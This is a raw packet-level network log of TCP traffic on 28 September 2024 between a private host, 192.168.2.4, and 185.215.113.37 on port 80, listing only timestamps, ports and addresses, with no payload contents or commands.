Sep 28, 2024 10:19:05.893881083 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.893894911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.893912077 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.893930912 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.893944979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.893980026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.894478083 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.894531012 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.894721031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.894753933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.894773006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.894788027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.894804955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.894820929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.894836903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.894855022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.894867897 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.894901991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.895509958 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.895560026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.895737886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.895770073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.895790100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.895814896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.024585962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.024665117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.024694920 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.024785995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.024785995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.024785995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.024821043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.024866104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.024873018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.024919033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.025057077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.025085926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.025099993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.025130987 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.025141954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.025187969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.025382042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.025438070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.025485039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.025538921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.025667906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.025702000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.025722980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.025732994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.025749922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.025777102 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.026117086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.026149035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.026177883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.026180983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.026201010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.026215076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.026225090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.026256084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.026263952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.026302099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.026947021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.026979923 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.027005911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.027019024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.027307034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.027339935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.027359009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.027373075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.027381897 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.027424097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.027832985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.027867079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.027879953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.027899981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.027914047 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.027935982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.027949095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.027986050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.028553009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.028585911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.028603077 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.028618097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.028631926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.028650045 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.028661966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.028686047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.028703928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.028731108 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.029511929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.029546022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.029560089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.029578924 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.029593945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.029612064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.029623985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.029644012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.029655933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.029680967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.029690981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.029732943 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.030433893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.030467033 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.030487061 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.030503035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.030518055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.030551910 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.030977964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.031011105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.031029940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.031043053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.031058073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.031076908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.031090021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.031109095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.031121016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.031152964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.031886101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.031920910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.031948090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.031954050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.031965017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.031995058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.162959099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.163021088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.163407087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.163419962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.163434982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.163467884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.163515091 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.163551092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.163568020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.163583040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.163608074 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.163633108 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.164096117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.164112091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.164125919 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.164160967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.164190054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.164563894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.164577961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.164592981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.164623022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.164649010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.165036917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165051937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165067911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165096998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.165118933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.165170908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165185928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165224075 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.165250063 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.165622950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165637016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165651083 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165672064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165683031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.165687084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165704966 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.165715933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.165735960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.165762901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.166635036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.166650057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.166697025 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.166790962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.166805983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.166826963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.166850090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.166867971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.180672884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180727959 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.180834055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180847883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180862904 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180882931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180897951 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180912018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180927038 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180942059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180955887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180969954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180983067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.180991888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.180991888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.180991888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.180991888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.180991888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.180999994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181005955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181016922 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181030989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181031942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181046009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181060076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181060076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181077003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181091070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181091070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181107998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181113958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181122065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181137085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181145906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181150913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181165934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181176901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181180000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181194067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181195021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181211948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181225061 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181227922 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181243896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181257010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181257963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181272984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181272984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181287050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181302071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181308031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181317091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181332111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181334019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181346893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181354046 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181363106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181376934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181380033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181391954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181406021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181411028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181421041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181421995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181437969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181452036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181452990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181468010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.181483030 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.181530952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185352087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185384989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185412884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185417891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185437918 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185451031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185468912 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185482979 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185501099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185514927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185534954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185548067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185569048 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185580015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185600042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185612917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185631990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185645103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185658932 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185679913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185699940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185713053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185731888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185746908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185765028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185775042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.185801983 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.185820103 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.244276047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.244311094 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.244343996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.244471073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.244471073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.244522095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.244555950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.244574070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.244587898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.244600058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.244630098 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.289880991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.290096998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.290119886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.290153980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.290177107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.290199041 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.290292025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.290324926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.290354013 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.290373087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.290376902 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.290426970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.290791988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.290848017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.290992975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291022062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291049957 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291054964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291070938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291089058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291110992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291121960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291141033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291173935 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291712046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291744947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291769028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291778088 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291794062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291806936 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291830063 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291840076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291857958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291873932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.291893959 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.291922092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.292607069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.292640924 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.292664051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.292687893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.292691946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.292746067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.293054104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.293086052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.293116093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.293119907 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.293135881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.293164015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.293164968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.293200970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.293216944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.293255091 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.294058084 CEST	80	49730	185.215.113.37	192.168.2.4
